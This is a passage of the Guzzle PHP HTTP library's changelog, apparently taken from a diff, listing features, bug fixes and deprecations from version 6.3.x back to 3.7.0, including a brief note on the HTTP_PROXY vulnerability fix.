[#2242](https://github.com/guzzle/guzzle/pull/2242) +* Improvement: Added curl's `appconnect_time` in `TransferStats` [#2284](https://github.com/guzzle/guzzle/pull/2284) +* Improvement: Make GuzzleException extend Throwable wherever it's available [#2273](https://github.com/guzzle/guzzle/pull/2273) +* Fix: Prevent concurrent writes to file when saving `CookieJar` [#2335](https://github.com/guzzle/guzzle/pull/2335) +* Improvement: Update `MockHandler` so we can test transfer time [#2362](https://github.com/guzzle/guzzle/pull/2362) + +## 6.3.3 - 2018-04-22 + +* Fix: Default headers when decode_content is specified + + +## 6.3.2 - 2018-03-26 + +* Fix: Release process + + +## 6.3.1 - 2018-03-26 + +* Bug fix: Parsing 0 epoch expiry times in cookies [#2014](https://github.com/guzzle/guzzle/pull/2014) +* Improvement: Better ConnectException detection [#2012](https://github.com/guzzle/guzzle/pull/2012) +* Bug fix: Malformed domain that contains a "/" [#1999](https://github.com/guzzle/guzzle/pull/1999) +* Bug fix: Undefined offset when a cookie has no first key-value pair [#1998](https://github.com/guzzle/guzzle/pull/1998) +* Improvement: Support PHPUnit 6 [#1953](https://github.com/guzzle/guzzle/pull/1953) +* Bug fix: Support empty headers [#1915](https://github.com/guzzle/guzzle/pull/1915) +* Bug fix: Ignore case during header modifications [#1916](https://github.com/guzzle/guzzle/pull/1916) + ++ Minor code cleanups, documentation fixes and clarifications. + + +## 6.3.0 - 2017-06-22 + +* Feature: force IP resolution (ipv4 or ipv6) [#1608](https://github.com/guzzle/guzzle/pull/1608), [#1659](https://github.com/guzzle/guzzle/pull/1659) +* Improvement: Don't include summary in exception message when body is empty [#1621](https://github.com/guzzle/guzzle/pull/1621) +* Improvement: Handle `on_headers` option in MockHandler [#1580](https://github.com/guzzle/guzzle/pull/1580) +* Improvement: Added SUSE Linux CA path [#1609](https://github.com/guzzle/guzzle/issues/1609) +* Improvement: Use class reference for getting the name of the class instead of using hardcoded strings [#1641](https://github.com/guzzle/guzzle/pull/1641) +* Feature: Added `read_timeout` option [#1611](https://github.com/guzzle/guzzle/pull/1611) +* Bug fix: PHP 7.x fixes [#1685](https://github.com/guzzle/guzzle/pull/1685), [#1686](https://github.com/guzzle/guzzle/pull/1686), [#1811](https://github.com/guzzle/guzzle/pull/1811) +* Deprecation: BadResponseException instantiation without a response [#1642](https://github.com/guzzle/guzzle/pull/1642) +* Feature: Added NTLM auth [#1569](https://github.com/guzzle/guzzle/pull/1569) +* Feature: Track redirect HTTP status codes [#1711](https://github.com/guzzle/guzzle/pull/1711) +* Improvement: Check handler type during construction [#1745](https://github.com/guzzle/guzzle/pull/1745) +* Improvement: Always include the Content-Length if there's a body [#1721](https://github.com/guzzle/guzzle/pull/1721) +* Feature: Added convenience method to access a cookie by name [#1318](https://github.com/guzzle/guzzle/pull/1318) +* Bug fix: Fill `CURLOPT_CAPATH` and `CURLOPT_CAINFO` properly [#1684](https://github.com/guzzle/guzzle/pull/1684) +* Improvement: Use `\GuzzleHttp\Promise\rejection_for` function instead of object init [#1827](https://github.com/guzzle/guzzle/pull/1827) + + ++ Minor code cleanups, documentation fixes and clarifications. + +## 6.2.3 - 2017-02-28 + +* Fix deprecations with guzzle/psr7 version 1.4 + +## 6.2.2 - 2016-10-08 + +* Allow to pass nullable Response to delay callable +* Only add scheme when host is present +* Fix drain case where content-length is the literal string zero +* Obfuscate in-URL credentials in exceptions + +## 6.2.1 - 2016-07-18 + +* Address HTTP_PROXY security vulnerability, CVE-2016-5385: + https://httpoxy.org/ +* Fixing timeout bug with StreamHandler: + https://github.com/guzzle/guzzle/pull/1488 +* Only read up to `Content-Length` in PHP StreamHandler to avoid timeouts when + a server does not honor `Connection: close`. +* Ignore URI fragment when sending requests. + +## 6.2.0 - 2016-03-21 + +* Feature: added `GuzzleHttp\json_encode` and `GuzzleHttp\json_decode`. + https://github.com/guzzle/guzzle/pull/1389 +* Bug fix: Fix sleep calculation when waiting for delayed requests. + https://github.com/guzzle/guzzle/pull/1324 +* Feature: More flexible history containers. + https://github.com/guzzle/guzzle/pull/1373 +* Bug fix: defer sink stream opening in StreamHandler. + https://github.com/guzzle/guzzle/pull/1377 +* Bug fix: do not attempt to escape cookie values. + https://github.com/guzzle/guzzle/pull/1406 +* Feature: report original content encoding and length on decoded responses. + https://github.com/guzzle/guzzle/pull/1409 +* Bug fix: rewind seekable request bodies before dispatching to cURL. + https://github.com/guzzle/guzzle/pull/1422 +* Bug fix: provide an empty string to `http_build_query` for HHVM workaround. + https://github.com/guzzle/guzzle/pull/1367 + +## 6.1.1 - 2015-11-22 + +* Bug fix: Proxy::wrapSync() now correctly proxies to the appropriate handler + https://github.com/guzzle/guzzle/commit/911bcbc8b434adce64e223a6d1d14e9a8f63e4e4 +* Feature: HandlerStack is now more generic. + https://github.com/guzzle/guzzle/commit/f2102941331cda544745eedd97fc8fd46e1ee33e +* Bug fix: setting verify to false in the StreamHandler now disables peer + verification. https://github.com/guzzle/guzzle/issues/1256 +* Feature: Middleware now uses an exception factory, including more error + context. https://github.com/guzzle/guzzle/pull/1282 +* Feature: better support for disabled functions. + https://github.com/guzzle/guzzle/pull/1287 +* Bug fix: fixed regression where MockHandler was not using `sink`. + https://github.com/guzzle/guzzle/pull/1292 + +## 6.1.0 - 2015-09-08 + +* Feature: Added the `on_stats` request option to provide access to transfer + statistics for requests. https://github.com/guzzle/guzzle/pull/1202 +* Feature: Added the ability to persist session cookies in CookieJars. + https://github.com/guzzle/guzzle/pull/1195 +* Feature: Some compatibility updates for Google APP Engine + https://github.com/guzzle/guzzle/pull/1216 +* Feature: Added support for NO_PROXY to prevent the use of a proxy based on + a simple set of rules. https://github.com/guzzle/guzzle/pull/1197 +* Feature: Cookies can now contain square brackets. + https://github.com/guzzle/guzzle/pull/1237 +* Bug fix: Now correctly parsing `=` inside of quotes in Cookies. + https://github.com/guzzle/guzzle/pull/1232 +* Bug fix: Cusotm cURL options now correctly override curl options of the + same name. https://github.com/guzzle/guzzle/pull/1221 +* Bug fix: Content-Type header is now added when using an explicitly provided + multipart body. https://github.com/guzzle/guzzle/pull/1218 +* Bug fix: Now ignoring Set-Cookie headers that have no name. +* Bug fix: Reason phrase is no longer cast to an int in some cases in the + cURL handler. https://github.com/guzzle/guzzle/pull/1187 +* Bug fix: Remove the Authorization header when redirecting if the Host + header changes. https://github.com/guzzle/guzzle/pull/1207 +* Bug fix: Cookie path matching fixes + https://github.com/guzzle/guzzle/issues/1129 +* Bug fix: Fixing the cURL `body_as_string` setting + https://github.com/guzzle/guzzle/pull/1201 +* Bug fix: quotes are no longer stripped when parsing cookies. + https://github.com/guzzle/guzzle/issues/1172 +* Bug fix: `form_params` and `query` now always uses the `&` separator. + https://github.com/guzzle/guzzle/pull/1163 +* Bug fix: Adding a Content-Length to PHP stream wrapper requests if not set. + https://github.com/guzzle/guzzle/pull/1189 + +## 6.0.2 - 2015-07-04 + +* Fixed a memory leak in the curl handlers in which references to callbacks + were not being removed by `curl_reset`. +* Cookies are now extracted properly before redirects. +* Cookies now allow more character ranges. +* Decoded Content-Encoding responses are now modified to correctly reflect + their state if the encoding was automatically removed by a handler. This + means that the `Content-Encoding` header may be removed an the + `Content-Length` modified to reflect the message size after removing the + encoding. +* Added a more explicit error message when trying to use `form_params` and + `multipart` in the same request. +* Several fixes for HHVM support. +* Functions are now conditionally required using an additional level of + indirection to help with global Composer installations. + +## 6.0.1 - 2015-05-27 + +* Fixed a bug with serializing the `query` request option where the `&` + separator was missing. +* Added a better error message for when `body` is provided as an array. Please + use `form_params` or `multipart` instead. +* Various doc fixes. + +## 6.0.0 - 2015-05-26 + +* See the UPGRADING.md document for more information. +* Added `multipart` and `form_params` request options. +* Added `synchronous` request option. +* Added the `on_headers` request option. +* Fixed `expect` handling. +* No longer adding default middlewares in the client ctor. These need to be + present on the provided handler in order to work. +* Requests are no longer initiated when sending async requests with the + CurlMultiHandler. This prevents unexpected recursion from requests completing + while ticking the cURL loop. +* Removed the semantics of setting `default` to `true`. This is no longer + required now that the cURL loop is not ticked for async requests. +* Added request and response logging middleware. +* No longer allowing self signed certificates when using the StreamHandler. +* Ensuring that `sink` is valid if saving to a file. +* Request exceptions now include a "handler context" which provides handler + specific contextual information. +* Added `GuzzleHttp\RequestOptions` to allow request options to be applied + using constants. +* `$maxHandles` has been removed from CurlMultiHandler. +* `MultipartPostBody` is now part of the `guzzlehttp/psr7` package. + +## 5.3.0 - 2015-05-19 + +* Mock now supports `save_to` +* Marked `AbstractRequestEvent::getTransaction()` as public. +* Fixed a bug in which multiple headers using different casing would overwrite + previous headers in the associative array. +* Added `Utils::getDefaultHandler()` +* Marked `GuzzleHttp\Client::getDefaultUserAgent` as deprecated. +* URL scheme is now always lowercased. + +## 6.0.0-beta.1 + +* Requires PHP >= 5.5 +* Updated to use PSR-7 + * Requires immutable messages, which basically means an event based system + owned by a request instance is no longer possible. + * Utilizing the [Guzzle PSR-7 package](https://github.com/guzzle/psr7). + * Removed the dependency on `guzzlehttp/streams`. These stream abstractions + are available in the `guzzlehttp/psr7` package under the `GuzzleHttp\Psr7` + namespace. +* Added middleware and handler system + * Replaced the Guzzle event and subscriber system with a middleware system. + * No longer depends on RingPHP, but rather places the HTTP handlers directly + in Guzzle, operating on PSR-7 messages. + * Retry logic is now encapsulated in `GuzzleHttp\Middleware::retry`, which + means the `guzzlehttp/retry-subscriber` is now obsolete. + * Mocking responses is now handled using `GuzzleHttp\Handler\MockHandler`. +* Asynchronous responses + * No longer supports the `future` request option to send an async request. + Instead, use one of the `*Async` methods of a client (e.g., `requestAsync`, + `getAsync`, etc.). + * Utilizing `GuzzleHttp\Promise` instead of React's promise library to avoid + recursion required by chaining and forwarding react promises. See + https://github.com/guzzle/promises + * Added `requestAsync` and `sendAsync` to send request asynchronously. + * Added magic methods for `getAsync()`, `postAsync()`, etc. to send requests + asynchronously. +* Request options + * POST and form updates + * Added the `form_fields` and `form_files` request options. + * Removed the `GuzzleHttp\Post` namespace. + * The `body` request option no longer accepts an array for POST requests. + * The `exceptions` request option has been deprecated in favor of the + `http_errors` request options. + * The `save_to` request option has been deprecated in favor of `sink` request + option. +* Clients no longer accept an array of URI template string and variables for + URI variables. You will need to expand URI templates before passing them + into a client constructor or request method. +* Client methods `get()`, `post()`, `put()`, `patch()`, `options()`, etc. are + now magic methods that will send synchronous requests. +* Replaced `Utils.php` with plain functions in `functions.php`. +* Removed `GuzzleHttp\Collection`. +* Removed `GuzzleHttp\BatchResults`. Batched pool results are now returned as + an array. +* Removed `GuzzleHttp\Query`. Query string handling is now handled using an + associative array passed into the `query` request option. The query string + is serialized using PHP's `http_build_query`. If you need more control, you + can pass the query string in as a string. +* `GuzzleHttp\QueryParser` has been replaced with the + `GuzzleHttp\Psr7\parse_query`. + +## 5.2.0 - 2015-01-27 + +* Added `AppliesHeadersInterface` to make applying headers to a request based + on the body more generic and not specific to `PostBodyInterface`. +* Reduced the number of stack frames needed to send requests. +* Nested futures are now resolved in the client rather than the RequestFsm +* Finishing state transitions is now handled in the RequestFsm rather than the + RingBridge. +* Added a guard in the Pool class to not use recursion for request retries. + +## 5.1.0 - 2014-12-19 + +* Pool class no longer uses recursion when a request is intercepted. +* The size of a Pool can now be dynamically adjusted using a callback. + See https://github.com/guzzle/guzzle/pull/943. +* Setting a request option to `null` when creating a request with a client will + ensure that the option is not set. This allows you to overwrite default + request options on a per-request basis. + See https://github.com/guzzle/guzzle/pull/937. +* Added the ability to limit which protocols are allowed for redirects by + specifying a `protocols` array in the `allow_redirects` request option. +* Nested futures due to retries are now resolved when waiting for synchronous + responses. See https://github.com/guzzle/guzzle/pull/947. +* `"0"` is now an allowed URI path. See + https://github.com/guzzle/guzzle/pull/935. +* `Query` no longer typehints on the `$query` argument in the constructor, + allowing for strings and arrays. +* Exceptions thrown in the `end` event are now correctly wrapped with Guzzle + specific exceptions if necessary. + +## 5.0.3 - 2014-11-03 + +This change updates query strings so that they are treated as un-encoded values +by default where the value represents an un-encoded value to send over the +wire. A Query object then encodes the value before sending over the wire. This +means that even value query string values (e.g., ":") are url encoded. This +makes the Query class match PHP's http_build_query function. However, if you +want to send requests over the wire using valid query string characters that do +not need to be encoded, then you can provide a string to Url::setQuery() and +pass true as the second argument to specify that the query string is a raw +string that should not be parsed or encoded (unless a call to getQuery() is +subsequently made, forcing the query-string to be converted into a Query +object). + +## 5.0.2 - 2014-10-30 + +* Added a trailing `\r\n` to multipart/form-data payloads. See + https://github.com/guzzle/guzzle/pull/871 +* Added a `GuzzleHttp\Pool::send()` convenience method to match the docs. +* Status codes are now returned as integers. See + https://github.com/guzzle/guzzle/issues/881 +* No longer overwriting an existing `application/x-www-form-urlencoded` header + when sending POST requests, allowing for customized headers. See + https://github.com/guzzle/guzzle/issues/877 +* Improved path URL serialization. + + * No longer double percent-encoding characters in the path or query string if + they are already encoded. + * Now properly encoding the supplied path to a URL object, instead of only + encoding ' ' and '?'. + * Note: This has been changed in 5.0.3 to now encode query string values by + default unless the `rawString` argument is provided when setting the query + string on a URL: Now allowing many more characters to be present in the + query string without being percent encoded. See http://tools.ietf.org/html/rfc3986#appendix-A + +## 5.0.1 - 2014-10-16 + +Bugfix release. + +* Fixed an issue where connection errors still returned response object in + error and end events event though the response is unusable. This has been + corrected so that a response is not returned in the `getResponse` method of + these events if the response did not complete. https://github.com/guzzle/guzzle/issues/867 +* Fixed an issue where transfer statistics were not being populated in the + RingBridge. https://github.com/guzzle/guzzle/issues/866 + +## 5.0.0 - 2014-10-12 + +Adding support for non-blocking responses and some minor API cleanup. + +### New Features + +* Added support for non-blocking responses based on `guzzlehttp/guzzle-ring`. +* Added a public API for creating a default HTTP adapter. +* Updated the redirect plugin to be non-blocking so that redirects are sent + concurrently. Other plugins like this can now be updated to be non-blocking. +* Added a "progress" event so that you can get upload and download progress + events. +* Added `GuzzleHttp\Pool` which implements FutureInterface and transfers + requests concurrently using a capped pool size as efficiently as possible. +* Added `hasListeners()` to EmitterInterface. +* Removed `GuzzleHttp\ClientInterface::sendAll` and marked + `GuzzleHttp\Client::sendAll` as deprecated (it's still there, just not the + recommended way). + +### Breaking changes + +The breaking changes in this release are relatively minor. The biggest thing to +look out for is that request and response objects no longer implement fluent +interfaces. + +* Removed the fluent interfaces (i.e., `return $this`) from requests, + responses, `GuzzleHttp\Collection`, `GuzzleHttp\Url`, + `GuzzleHttp\Query`, `GuzzleHttp\Post\PostBody`, and + `GuzzleHttp\Cookie\SetCookie`. This blog post provides a good outline of + why I did this: http://ocramius.github.io/blog/fluent-interfaces-are-evil/. + This also makes the Guzzle message interfaces compatible with the current + PSR-7 message proposal. +* Removed "functions.php", so that Guzzle is truly PSR-4 compliant. Except + for the HTTP request functions from function.php, these functions are now + implemented in `GuzzleHttp\Utils` using camelCase. `GuzzleHttp\json_decode` + moved to `GuzzleHttp\Utils::jsonDecode`. `GuzzleHttp\get_path` moved to + `GuzzleHttp\Utils::getPath`. `GuzzleHttp\set_path` moved to + `GuzzleHttp\Utils::setPath`. `GuzzleHttp\batch` should now be + `GuzzleHttp\Pool::batch`, which returns an `objectStorage`. Using functions.php + caused problems for many users: they aren't PSR-4 compliant, require an + explicit include, and needed an if-guard to ensure that the functions are not + declared multiple times. +* Rewrote adapter layer. + * Removing all classes from `GuzzleHttp\Adapter`, these are now + implemented as callables that are stored in `GuzzleHttp\Ring\Client`. + * Removed the concept of "parallel adapters". Sending requests serially or + concurrently is now handled using a single adapter. + * Moved `GuzzleHttp\Adapter\Transaction` to `GuzzleHttp\Transaction`. The + Transaction object now exposes the request, response, and client as public + properties. The getters and setters have been removed. +* Removed the "headers" event. This event was only useful for changing the + body a response once the headers of the response were known. You can implement + a similar behavior in a number of ways. One example might be to use a + FnStream that has access to the transaction being sent. For example, when the + first byte is written, you could check if the response headers match your + expectations, and if so, change the actual stream body that is being + written to. +* Removed the `asArray` parameter from + `GuzzleHttp\Message\MessageInterface::getHeader`. If you want to get a header + value as an array, then use the newly added `getHeaderAsArray()` method of + `MessageInterface`. This change makes the Guzzle interfaces compatible with + the PSR-7 interfaces. +* `GuzzleHttp\Message\MessageFactory` no longer allows subclasses to add + custom request options using double-dispatch (this was an implementation + detail). Instead, you should now provide an associative array to the + constructor which is a mapping of the request option name mapping to a + function that applies the option value to a request. +* Removed the concept of "throwImmediately" from exceptions and error events. + This control mechanism was used to stop a transfer of concurrent requests + from completing. This can now be handled by throwing the exception or by + cancelling a pool of requests or each outstanding future request individually. +* Updated to "GuzzleHttp\Streams" 3.0. + * `GuzzleHttp\Stream\StreamInterface::getContents()` no longer accepts a + `maxLen` parameter. This update makes the Guzzle streams project + compatible with the current PSR-7 proposal. + * `GuzzleHttp\Stream\Stream::__construct`, + `GuzzleHttp\Stream\Stream::factory`, and + `GuzzleHttp\Stream\Utils::create` no longer accept a size in the second + argument. They now accept an associative array of options, including the + "size" key and "metadata" key which can be used to provide custom metadata. + +## 4.2.2 - 2014-09-08 + +* Fixed a memory leak in the CurlAdapter when reusing cURL handles. +* No longer using `request_fulluri` in stream adapter proxies. +* Relative redirects are now based on the last response, not the first response. + +## 4.2.1 - 2014-08-19 + +* Ensuring that the StreamAdapter does not always add a Content-Type header +* Adding automated github releases with a phar and zip + +## 4.2.0 - 2014-08-17 + +* Now merging in default options using a case-insensitive comparison. + Closes https://github.com/guzzle/guzzle/issues/767 +* Added the ability to automatically decode `Content-Encoding` response bodies + using the `decode_content` request option. This is set to `true` by default + to decode the response body if it comes over the wire with a + `Content-Encoding`. Set this value to `false` to disable decoding the + response content, and pass a string to provide a request `Accept-Encoding` + header and turn on automatic response decoding. This feature now allows you + to pass an `Accept-Encoding` header in the headers of a request but still + disable automatic response decoding. + Closes https://github.com/guzzle/guzzle/issues/764 +* Added the ability to throw an exception immediately when transferring + requests in parallel. Closes https://github.com/guzzle/guzzle/issues/760 +* Updating guzzlehttp/streams dependency to ~2.1 +* No longer utilizing the now deprecated namespaced methods from the stream + package. + +## 4.1.8 - 2014-08-14 + +* Fixed an issue in the CurlFactory that caused setting the `stream=false` + request option to throw an exception. + See: https://github.com/guzzle/guzzle/issues/769 +* TransactionIterator now calls rewind on the inner iterator. + See: https://github.com/guzzle/guzzle/pull/765 +* You can now set the `Content-Type` header to `multipart/form-data` + when creating POST requests to force multipart bodies. + See https://github.com/guzzle/guzzle/issues/768 + +## 4.1.7 - 2014-08-07 + +* Fixed an error in the HistoryPlugin that caused the same request and response + to be logged multiple times when an HTTP protocol error occurs. +* Ensuring that cURL does not add a default Content-Type when no Content-Type + has been supplied by the user. This prevents the adapter layer from modifying + the request that is sent over the wire after any listeners may have already + put the request in a desired state (e.g., signed the request). +* Throwing an exception when you attempt to send requests that have the + "stream" set to true in parallel using the MultiAdapter. +* Only calling curl_multi_select when there are active cURL handles. This was + previously changed and caused performance problems on some systems due to PHP + always selecting until the maximum select timeout. +* Fixed a bug where multipart/form-data POST fields were not correctly + aggregated (e.g., values with "&"). + +## 4.1.6 - 2014-08-03 + +* Added helper methods to make it easier to represent messages as strings, + including getting the start line and getting headers as a string. + +## 4.1.5 - 2014-08-02 + +* Automatically retrying cURL "Connection died, retrying a fresh connect" + errors when possible. +* cURL implementation cleanup +* Allowing multiple event subscriber listeners to be registered per event by + passing an array of arrays of listener configuration. + +## 4.1.4 - 2014-07-22 + +* Fixed a bug that caused multi-part POST requests with more than one field to + serialize incorrectly. +* Paths can now be set to "0" +* `ResponseInterface::xml` now accepts a `libxml_options` option and added a + missing default argument that was required when parsing XML response bodies. +* A `save_to` stream is now created lazily, which means that files are not + created on disk unless a request succeeds. + +## 4.1.3 - 2014-07-15 + +* Various fixes to multipart/form-data POST uploads +* Wrapping function.php in an if-statement to ensure Guzzle can be used + globally and in a Composer install +* Fixed an issue with generating and merging in events to an event array +* POST headers are only applied before sending a request to allow you to change + the query aggregator used before uploading +* Added much more robust query string parsing +* Fixed various parsing and normalization issues with URLs +* Fixing an issue where multi-valued headers were not being utilized correctly + in the StreamAdapter + +## 4.1.2 - 2014-06-18 + +* Added support for sending payloads with GET requests + +## 4.1.1 - 2014-06-08 + +* Fixed an issue related to using custom message factory options in subclasses +* Fixed an issue with nested form fields in a multi-part POST +* Fixed an issue with using the `json` request option for POST requests +* Added `ToArrayInterface` to `GuzzleHttp\Cookie\CookieJar` + +## 4.1.0 - 2014-05-27 + +* Added a `json` request option to easily serialize JSON payloads. +* Added a `GuzzleHttp\json_decode()` wrapper to safely parse JSON. +* Added `setPort()` and `getPort()` to `GuzzleHttp\Message\RequestInterface`. +* Added the ability to provide an emitter to a client in the client constructor. +* Added the ability to persist a cookie session using $_SESSION. +* Added a trait that can be used to add event listeners to an iterator. +* Removed request method constants from RequestInterface. +* Fixed warning when invalid request start-lines are received. +* Updated MessageFactory to work with custom request option methods. +* Updated cacert bundle to latest build. + +4.0.2 (2014-04-16) +------------------ + +* Proxy requests using the StreamAdapter now properly use request_fulluri (#632) +* Added the ability to set scalars as POST fields (#628) + +## 4.0.1 - 2014-04-04 + +* The HTTP status code of a response is now set as the exception code of + RequestException objects. +* 303 redirects will now correctly switch from POST to GET requests. +* The default parallel adapter of a client now correctly uses the MultiAdapter. +* HasDataTrait now initializes the internal data array as an empty array so + that the toArray() method always returns an array. + +## 4.0.0 - 2014-03-29 + +* For more information on the 4.0 transition, see: + http://mtdowling.com/blog/2014/03/15/guzzle-4-rc/ +* For information on changes and upgrading, see: + https://github.com/guzzle/guzzle/blob/master/UPGRADING.md#3x-to-40 +* Added `GuzzleHttp\batch()` as a convenience function for sending requests in + parallel without needing to write asynchronous code. +* Restructured how events are added to `GuzzleHttp\ClientInterface::sendAll()`. + You can now pass a callable or an array of associative arrays where each + associative array contains the "fn", "priority", and "once" keys. + +## 4.0.0.rc-2 - 2014-03-25 + +* Removed `getConfig()` and `setConfig()` from clients to avoid confusion + around whether things like base_url, message_factory, etc. should be able to + be retrieved or modified. +* Added `getDefaultOption()` and `setDefaultOption()` to ClientInterface +* functions.php functions were renamed using snake_case to match PHP idioms +* Added support for `HTTP_PROXY`, `HTTPS_PROXY`, and + `GUZZLE_CURL_SELECT_TIMEOUT` environment variables +* Added the ability to specify custom `sendAll()` event priorities +* Added the ability to specify custom stream context options to the stream + adapter. +* Added a functions.php function for `get_path()` and `set_path()` +* CurlAdapter and MultiAdapter now use a callable to generate curl resources +* MockAdapter now properly reads a body and emits a `headers` event +* Updated Url class to check if a scheme and host are set before adding ":" + and "//". This allows empty Url (e.g., "") to be serialized as "". +* Parsing invalid XML no longer emits warnings +* Curl classes now properly throw AdapterExceptions +* Various performance optimizations +* Streams are created with the faster `Stream\create()` function +* Marked deprecation_proxy() as internal +* Test server is now a collection of static methods on a class + +## 4.0.0-rc.1 - 2014-03-15 + +* See https://github.com/guzzle/guzzle/blob/master/UPGRADING.md#3x-to-40 + +## 3.8.1 - 2014-01-28 + +* Bug: Always using GET requests when redirecting from a 303 response +* Bug: CURLOPT_SSL_VERIFYHOST is now correctly set to false when setting `$certificateAuthority` to false in + `Guzzle\Http\ClientInterface::setSslVerification()` +* Bug: RedirectPlugin now uses strict RFC 3986 compliance when combining a base URL with a relative URL +* Bug: The body of a request can now be set to `"0"` +* Sending PHP stream requests no longer forces `HTTP/1.0` +* Adding more information to ExceptionCollection exceptions so that users have more context, including a stack trace of + each sub-exception +* Updated the `$ref` attribute in service descriptions to merge over any existing parameters of a schema (rather than + clobbering everything). +* Merging URLs will now use the query string object from the relative URL (thus allowing custom query aggregators) +* Query strings are now parsed in a way that they do no convert empty keys with no value to have a dangling `=`. + For example `foo&bar=baz` is now correctly parsed and recognized as `foo&bar=baz` rather than `foo=&bar=baz`. +* Now properly escaping the regular expression delimiter when matching Cookie domains. +* Network access is now disabled when loading XML documents + +## 3.8.0 - 2013-12-05 + +* Added the ability to define a POST name for a file +* JSON response parsing now properly walks additionalProperties +* cURL error code 18 is now retried automatically in the BackoffPlugin +* Fixed a cURL error when URLs contain fragments +* Fixed an issue in the BackoffPlugin retry event where it was trying to access all exceptions as if they were + CurlExceptions +* CURLOPT_PROGRESS function fix for PHP 5.5 (69fcc1e) +* Added the ability for Guzzle to work with older versions of cURL that do not support `CURLOPT_TIMEOUT_MS` +* Fixed a bug that was encountered when parsing empty header parameters +* UriTemplate now has a `setRegex()` method to match the docs +* The `debug` request parameter now checks if it is truthy rather than if it exists +* Setting the `debug` request parameter to true shows verbose cURL output instead of using the LogPlugin +* Added the ability to combine URLs using strict RFC 3986 compliance +* Command objects can now return the validation errors encountered by the command +* Various fixes to cache revalidation (#437 and 29797e5) +* Various fixes to the AsyncPlugin +* Cleaned up build scripts + +## 3.7.4 - 2013-10-02 + +* Bug fix: 0 is now an allowed value in a description parameter that has a default value (#430) +* Bug fix: SchemaFormatter now returns an integer when formatting to a Unix timestamp + (see https://github.com/aws/aws-sdk-php/issues/147) +* Bug fix: Cleaned up and fixed URL dot segment removal to properly resolve internal dots +* Minimum PHP version is now properly specified as 5.3.3 (up from 5.3.2) (#420) +* Updated the bundled cacert.pem (#419) +* OauthPlugin now supports adding authentication to headers or query string (#425) + +## 3.7.3 - 2013-09-08 + +* Added the ability to get the exception associated with a request/command when using `MultiTransferException` and + `CommandTransferException`. +* Setting `additionalParameters` of a response to false is now honored when parsing responses with a service description +* Schemas are only injected into response models when explicitly configured. +* No longer guessing Content-Type based on the path of a request. Content-Type is now only guessed based on the path of + an EntityBody. +* Bug fix: ChunkedIterator can now properly chunk a \Traversable as well as an \Iterator. +* Bug fix: FilterIterator now relies on `\Iterator` instead of `\Traversable`. +* Bug fix: Gracefully handling malformed responses in RequestMediator::writeResponseBody() +* Bug fix: Replaced call to canCache with canCacheRequest in the CallbackCanCacheStrategy of the CachePlugin +* Bug fix: Visiting XML attributes first before visiting XML children when serializing requests +* Bug fix: Properly parsing headers that contain commas contained in quotes +* Bug fix: mimetype guessing based on a filename is now case-insensitive + +## 3.7.2 - 2013-08-02 + +* Bug fix: Properly URL encoding paths when using the PHP-only version of the UriTemplate expander + See https://github.com/guzzle/guzzle/issues/371 +* Bug fix: Cookie domains are now matched correctly according to RFC 6265 + See https://github.com/guzzle/guzzle/issues/377 +* Bug fix: GET parameters are now used when calculating an OAuth signature +* Bug fix: Fixed an issue with cache revalidation where the If-None-Match header was being double quoted +* `Guzzle\Common\AbstractHasDispatcher::dispatch()` now returns the event that was dispatched +* `Guzzle\Http\QueryString::factory()` now guesses the most appropriate query aggregator to used based on the input. + See https://github.com/guzzle/guzzle/issues/379 +* Added a way to add custom domain objects to service description parsing using the `operation.parse_class` event. See + https://github.com/guzzle/guzzle/pull/380 +* cURL multi cleanup and optimizations + +## 3.7.1 - 2013-07-05 + +* Bug fix: Setting default options on a client now works +* Bug fix: Setting options on HEAD requests now works. See #352 +* Bug fix: Moving stream factory before send event to before building the stream. See #353 +* Bug fix: Cookies no longer match on IP addresses per RFC 6265 +* Bug fix: Correctly parsing header parameters that are in `<>` and quotes +* Added `cert` and `ssl_key` as request options +* `Host` header can now diverge from the host part of a URL if the header is set manually +* `Guzzle\Service\Command\LocationVisitor\Request\XmlVisitor` was rewritten to change from using SimpleXML to XMLWriter +* OAuth parameters are only added via the plugin if they aren't already set +* Exceptions are now thrown when a URL cannot be parsed +* Returning `false` if `Guzzle\Http\EntityBody::getContentMd5()` fails +* Not setting a `Content-MD5` on a command if calculating the Content-MD5 fails via the CommandContentMd5Plugin + +## 3.7.0 - 2013-06-10 + +* See UPGRADING.md for more information on how to upgrade. +* Requests now support the ability to specify an array of $options when creating a request to more easily modify a + request. You can pass a 'request.options' configuration setting to a client to apply default request options to + every request created by a client (e.g. default query string variables, headers, curl options, etc.). +* Added a static facade class that allows you to use Guzzle with static methods and mount the class to `\Guzzle`. + See `Guzzle\Http\StaticClient::mount`. +* Added `command.request_options` to `Guzzle\Service\Command\AbstractCommand` to pass request options to requests + created by a command (e.g. custom headers, query string variables, timeout settings, etc.). +* Stream size in `Guzzle\Stream\PhpStreamRequestFactory` will now be set if Content-Length is returned in the + headers of a response +* Added `Guzzle\Common\Collection::setPath($path, $value)` to set a value into an array using a nested key + (e.g. `$collection->setPath('foo/baz/bar', 'test'); echo $collection['foo']['bar']['bar'];`) +* ServiceBuilders now support storing and retrieving arbitrary data +* CachePlugin can now purge all resources for a given URI +* CachePlugin can automatically purge matching cached items when a non-idempotent request is sent to a resource +* CachePlugin now uses the Vary header to determine if a resource is a cache hit +* `Guzzle\Http\Message\Response` now implements `\Serializable` +* Added `Guzzle\Cache\CacheAdapterFactory::fromCache()` to more easily create cache adapters +* `Guzzle\Service\ClientInterface::execute()` now accepts an array, single command, or Traversable +* Fixed a bug in `Guzzle\Http\Message\Header\Link::addLink()` +* Better handling of calculating the size of a stream in `Guzzle\Stream\Stream` using fstat() and caching the size +* `Guzzle\Common\Exception\ExceptionCollection` now creates a more readable exception message +* Fixing BC break: Added back the MonologLogAdapter implementation rather than extending from PsrLog so that older + Symfony users can still use the old version of Monolog. +* Fixing BC break: Added the implementation back in for `Guzzle\Http\Message\AbstractMessage::getTokenizedHeader()`. + Now triggering an E_USER_DEPRECATED warning when used. Use `$message->getHeader()->parseParams()`. +* Several performance improvements to `Guzzle\Common\Collection` +* Added an `$options` argument to the end of the following methods of `Guzzle\Http\ClientInterface`: + createRequest, head, delete, put, patch, post, options, prepareRequest +* Added an `$options` argument to the end of `Guzzle\Http\Message\Request\RequestFactoryInterface::createRequest()` +* Added an `applyOptions()` method to `Guzzle\Http\Message\Request\RequestFactoryInterface` +* Changed `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $body = null)` to + `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $options = array())`. You can still pass in a + resource, string, or EntityBody into the $options parameter to specify the download location of the response. +* Changed `Guzzle\Common\Collection::__construct($data)` to no longer accepts 